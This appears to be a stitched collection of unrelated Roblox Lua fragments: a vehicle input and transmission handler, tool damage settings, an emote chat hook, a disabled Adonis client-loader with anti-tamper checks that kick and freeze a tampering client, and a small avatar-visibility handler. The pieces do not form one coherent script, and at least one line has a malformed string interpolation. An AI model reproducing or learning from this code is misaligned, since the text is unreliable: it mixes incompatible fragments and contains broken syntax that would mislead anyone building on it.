local _CTRL = _Tune.Controls local Controls = Instance.new("Folder",script.Parent) Controls.Name = "Controls" for i,v in pairs(_CTRL) do local a=Instance.new("StringValue",Controls) a.Name=i a.Value=v.Name a.Changed:connect(function() if i=="MouseThrottle" or i=="MouseBrake" then if a.Value == "MouseButton1" or a.Value == "MouseButton2" then _CTRL[i]=Enum.UserInputType[a.Value] else _CTRL[i]=Enum.KeyCode[a.Value] end else _CTRL[i]=Enum.KeyCode[a.Value] end end) end --Deadzone Adjust local _PPH = _Tune.Peripherals for i,v in pairs(_PPH) do local a = Instance.new("IntValue",Controls) a.Name = i a.Value = v a.Changed:connect(function() a.Value=math.min(100,math.max(0,a.Value)) _PPH[i] = a.Value end) end --Input Handler function DealWithInput(input,IsRobloxFunction) if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus --Shift Down [Manual Transmission] if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and ((_TMode=="Auto" and _CGear<=1) or _TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 then _ClutchOn = true end _CGear = math.max(_CGear-1,-1) --Shift Up [Manual Transmission] elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and ((_TMode=="Auto" and _CGear<1) or _TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 then _ClutchOn = true end _CGear = math.min(_CGear+1,#_Tune.Ratios-2) --Toggle Clutch elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then if input.UserInputState == Enum.UserInputState.Begin then _ClutchOn = false _ClPressing = true elseif input.UserInputState == Enum.UserInputState.End then _ClutchOn = true _ClPressing = false end --Toggle PBrake elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end --Toggle Transmission Mode elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then local n=1 for i,v in pairs(_Tune.TransModes) do if v==_TMode then n=i break end end n=n+1 if n>#_Tune.TransModes then n=1 end _TMode = _Tune.TransModes[n] --Throttle elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GThrot = 1 else _GThrot = _Tune.IdleThrottle/100 end --Brake elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GBrake = 1 else _GBrake = 0 end --Steer Left elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end --Steer Right elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = 1 _SteerR = true else if _SteerL then _GSteerT = -1 else _GSteerT = 0 end _SteerR = false end --Toggle Mouse Controls elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then if input.UserInputState == Enum.UserInputState.End then _MSteer = not _MSteer _GThrot = _Tune.IdleThrottle/100 _GBrake = 0 _GSteerT = 0 _ClutchOn = true end --Toggle TCS elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then if input.UserInputState == Enum.UserInputState.End then if script.Parent.DriveMode.Value ~= "SportPlus" then _TCS = not _TCS end end --Toggle ABS elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then _GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z) --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _GBrake = input.Position.Z end end else _GThrot = _Tune.IdleThrottle/100 _GSteerT = 0 _GBrake = 0 if _CGear~=0 then _ClutchOn = true end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput) local OGDrivemode local Kickdown = false UserInputService.InputBegan:Connect(function(key, focus) if focus == false and not _InControls and script.Parent.DriveMode.Value == "Comfort" then if key.KeyCode == _CTRL["Throttle2"] and _CGear > 0 then if tick() - CurrKickdown <= _Tune.KickdownWindow then --kickdown activated OGDrivemode = script.Parent.DriveMode.Value Kickdown = true script.Parent.DriveMode.Value = "Sport+" if _RPM <= _Tune.KickdownRPMCap then _CGear = math.max(_CGear-1, 1) end end CurrKickdown = tick() end end end) UserInputService.InputBegan:Connect(function(input, focus) if focus == true then return end if script.Parent.Values.Throttle.Value == 1 and input.UserInputType.Name:find("Gamepad") and _CGear > 0 then --kickdown activated OGDrivemode = script.Parent.DriveMode.Value Kickdown = true script.Parent.DriveMode.Value = "Sport+" if _RPM <= _Tune.KickdownRPMCap then _CGear = math.max(_CGear-1, 1) end end end) script.Parent.Values.Throttle.Changed:Connect(function() if script.Parent.Values.Throttle.Value ~= 1 and Kickdown == true then Kickdown = false script.Parent.DriveMode.Value = OGDrivemode == nil and "Comfort" or OGDrivemode end end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Math" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--loopanim
function module.loopanim(anim, hum, bool) local animationTrack = hum.Animator:LoadAnimation(animFold[anim]) animationTrack.Looped = bool end
---- setup emote chat hook
game:GetService("Players").LocalPlayer.Chatted:Connect(function(msg) local emote = "" if msg == "/e dance" then emote = dances[Rand:NextInteger(1, #dances)] elseif string.sub(msg, 1, 3) == "/e " then emote = string.sub(msg, 4) elseif string.sub(msg, 1, 7) == "/emote " then emote = string.sub(msg, 8) end if pose == "Standing" and emoteNames[emote] ~= nil then playAnimation(emote, 0.1, Humanoid) end end)
--// ACLI - Adonis Client Loading Initializer
if true then return end --// #DISABLED local DebugMode = false local otime = os.time local time = time local game = game local pcall = pcall local xpcall = xpcall local error = error local type = type local print = print local assert = assert local string = string local setfenv = setfenv local getfenv = getfenv local require = require local tostring = tostring local coroutine = coroutine local Instance = Instance local script = script local select = select local unpack = unpack local spawn = spawn local debug = debug local pairs = pairs local wait = wait local next = next local time = time local finderEvent local realWarn = warn local realPrint = print local foundClient = false local checkedChildren = {} local replicated = game:GetService("ReplicatedFirst") local runService = game:GetService("RunService") local player = game:GetService("Players").LocalPlayer local Kick = player.Kick local start = time() local checkThese = {} local services = { "Chat"; "Teams"; "Players"; "Workspace"; "LogService"; "TestService"; "InsertService"; "SoundService"; "StarterGui"; "StarterPack"; "StarterPlayer"; "ReplicatedFirst"; "ReplicatedStorage"; "JointsService"; "Lighting"; } local function print(...) --realPrint(...) end local function warn(str) if DebugMode or player.UserId == 1237666 then realWarn(`ACLI: {str}`) end end local function Kill(info) if DebugMode then warn(info) return end pcall(function() Kick(player, info) end) wait(1) pcall(function() while not DebugMode and wait() do pcall(function() while true do end end) end end) end local function Locked(obj) return (not obj and true) or not pcall(function() return obj.GetFullName(obj) end) end local function callCheck(child) warn(`CallCheck: {child}`) if Locked(child) then warn("Child locked?") Kill("ACLI: Locked") else warn("Child not locked") xpcall(function() return child[{}] end, function() if getfenv(1) ~= getfenv(2) then Kill("ACLI: Error") end end) end end local function doPcall(func, ...) local ran,ret = pcall(func, ...) if ran then return ran,ret else warn(tostring(ret)) Kill(`ACLI: Error\n{ret}`) return ran,ret end end local function lockCheck(obj) callCheck(obj) obj.Changed:Connect(function(p) warn("Child changed; Checking...") callCheck(obj) end) end local function loadingTime() warn("LoadingTime Called") setfenv(1,{}) warn(tostring(time() - start)) end local function checkChild(child) warn(`Checking child: child and child.ClassName} : {child and child:GetFullName()}`) callCheck(child) if child and not foundClient and not checkedChildren[child] and child:IsA("Folder") and child.Name == "Adonis_Client" then warn("Loading Folder...") local nameVal local origName local depsFolder local clientModule local oldChild = child local container = child.Parent warn("Adding child to checked list & setting parent...") checkedChildren[child] = true warn("Waiting for Client & Special") nameVal = child:WaitForChild("Special", 30) clientModule = child:WaitForChild("Client", 30) warn("Checking Client & Special") callCheck(nameVal) callCheck(clientModule) warn("Getting origName") origName = (nameVal and nameVal.Value) or child.Name warn(`Got name: {origName}`) warn("Changing child parent...") child.Parent = nil warn("Destroying parent...") if container and container:IsA("ScreenGui") and container.Name == "Adonis_Container" then spawn(function() wait(0.5); container:Destroy(); end) end if clientModule and clientModule:IsA("ModuleScript") then print("Debug: Loading the client?") local meta = require(clientModule) warn(`Got metatable: {meta}`) if meta and type(meta) == "userdata" and tostring(meta) == "Adonis" then local ran,ret = pcall(meta,{ Module = clientModule, Start = start, Loader = script, Name = origName, LoadingTime = loadingTime, CallCheck = callCheck, Kill = Kill }) warn(`Got return: {ret}`) if ret ~= "SUCCESS" then warn(ret) Kill("ACLI: Loading Error [Bad Module Return]") else print("Debug: The client was found and loaded?") warn("Client Loaded") oldChild:Destroy() child.Parent = nil foundClient = true if finderEvent then finderEvent:Disconnect() finderEvent = nil end end end end end end local function scan(folder) warn("Scanning for client...") if not doPcall(function() for i,child in folder:GetChildren() do if child.Name == "Adonis_Container" then local client = child:FindFirstChildOfClass("Folder") or child:WaitForChild("Adonis_Client", 5); if client then doPcall(checkChild, client); end end end end) then warn("Scan failed?") Kick(player, "ACLI: Loading Error [Scan failed]"); end end
--Show Avatar
script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) for i,v in pairs(child.Part1.Parent:GetChildren())do if v:IsA("Part") then v.Transparency=0 if v.Name=="HumanoidRootPart"then v.Transparency=1 v.CanCollide=true end end end end end end)
-- Sevices
local debris = game:GetService("Debris") local players = game:GetService("Players")